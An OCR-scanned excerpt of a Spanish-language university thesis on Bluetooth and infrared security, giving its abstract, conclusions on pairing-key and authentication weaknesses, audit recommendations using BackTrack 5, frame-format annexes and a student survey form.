Las tecnologias Bluetooth e infrarrojo, cumplen con la funcion para las cuales fueron
disefiadas, de posibilitar la conexién inaldmbrica de corto alcance de voz y datos entre
diferentes dispositivos.

Algo que no ocurre con los métodos implantados por los fabricantes de estas tecnologias,
mismos que son faciles de descifrar o el nivel de proteccion es demasiado bajo para
proteger la integridad de sus usuarios.

El proposito de la demostracion de ataques a la tecnologia Bluetooth e infrarrojo, es para
demostrar el grado de seguridad y las soluciones g se puedan dar a las mismas.

El objetivo de la propuesta dar a conocer formas que puedan ayudar a reducir las

infiltraciones para los ataques maliciosos en contra de estas tecnologias.
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CAPITULO 7
CONCLUSIONES Y
RECOMENDASIONES
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7 CONCLUSIONES Y RECOMENDACIONES.

7.1 Conclusiones.

@ Se verificd durante la investigacion que en el protocolo Bluetooth es propenso a una
vulnerabilidad existente en el proceso de conexidén de dos o mas dispositivos
(Ilamado "parking" o emparejamiento), ya que este proceso crea un valor secreto
compartido, llamado "Kinit". Este valor forma la base para la creacion de una llave
Ilamada "Kab", almacenada en cada dispositivo, y que es utilizada para todas las
futuras negociaciones de Bluetooth.

& En el método de seguridad de autenticacion utilizado por Bluetooth se encontrd que
en el momento de la negociacion, el dispositivo demandante no encuentra la clave al
dispositivo verificador este se pone a negociar una nueva clave, método muy poco
seguro ya que mediante una nueva negociacion el lapso minimo de tiempo es vital
para los atacantes.

& Un error evidente en el método de Autenticacion es que en el momento de negociar
la clave, este proceso no tiene un numero limitante de intentos, en este preciso
instante es en donde se puede realizar un ataque.

& En los algoritmos de seguridad utilizados en Bluetooth, las claves de seguridad
Kinit, (claves de inicializacién) forman la base para la creacion de una llave llamada
"Kab", almacenada en cada dispositivo, y que es utilizada para todas las futuras
negociaciones de Bluetooth, ocasionando que los atacantes ingresen en el momento
de una negociacién para asi poder sustraer la clave de la base de datos y realizar
sustraccion de informacion valiosa de nuestro equipo.

@ En el caso de la seguridad fisica de infrarrojo, es muy poco vulnerable ya que
requieren acceso cercano, una linea de vision directa, dentro de un angulo de 30° y
la distancia limitada, los métodos apropiados para la seguridad fisica y puede
frustrar los ataques de denegacion de espionaje.

@ Mientras mas usuarios se encuentren en una red WPAN, y el modo de acceso de
Bluetooth este descubierto més facil sera ingresar a la informacion deseada, ya que
la mayoria de programas tipo hacker se infiltran mediante los protocolos RFCOMM
y L2CAP.
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7.2 Recomendaciones.

& En el caso de que las auditorias sean permanentes, es aconsejable instalar cualquier
version de GNU/Linux especializada para estas, o puede realizarse mediante una
maquina virtual. Si por el contrario este no fuera el caso también se lo puede hacer
auditorias mediante live CD, con la diferencia de que cada vez que se reinicie el
computador se reiniciara los servicios de red.

@ Se debe tomar en cuenta que todo dispositivo que funcione mediante la tecnologia
Bluetooth, es vulnerable, ademas existen limitadas posibilidades de protegerlos, por
tanto, al igual que en los teléfonos también se deben tomar en cuenta politicas de
seguridad en estos dispositivos.

@ Backtrack version 5 es una poderosa herramienta, cuya finalidad es descubrir fallas
de seguridad mediante una auditoria, para este caso en particular aplicado a las

redes WPAN, en las tecnologias Bluetooth e Infrarrojo.
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Anexo 1: formato de trama Bluetooth en la capa Banda Base.

LSB 7 5 0-2745 MSB
Codigo de | Cabecera
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Anexo 2: Estructura de la trama Infrarrojo.

Fin de
I Datos ‘l T 08

—— (PERAINADESILHING——

Comienzo de
Trama (BOF)
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ANEXO 3: Formato de las Encuesta realizadas a los estudiantes de la Universidad
Nacional de Chimborazo, escuela de Ingenieria en sistemas (12 a 52 afio)

Objetivo: Esta encuesta tuvo por objetivo, conocer las actividades realizadas por los
estudiantes mediante la utilizacion de las redes WPAN, aplicados en la escuela de
ingenieria en sistemas de la UNACH

Marque con una (X)

2.- ¢Posee usted algun dispositivo con tecnologia bluetooth o Infrarrojo?

Si ( )

No ()
2.- ¢ Cudl de las dos tecnologias utiliza mas usted, Bluetooth o Infrarrojo?
Si ()
No( )

3.- ¢ Cuales son los dispositivos que con mas frecuencia utiliza para intercambiar datos

mediante tecnologias WPAN (Bluetooth, Infrarrojo)?

Laptop’s ( )
Teléfonos celulares ( )
PDA’s ( )
Otro ( )

4.- ¢ Qué tipo de datos envia a través de estas tecnologias?

Videos. ( )
Musica ( )
Texto ( )
Otros ( )
Iméagenes ( )
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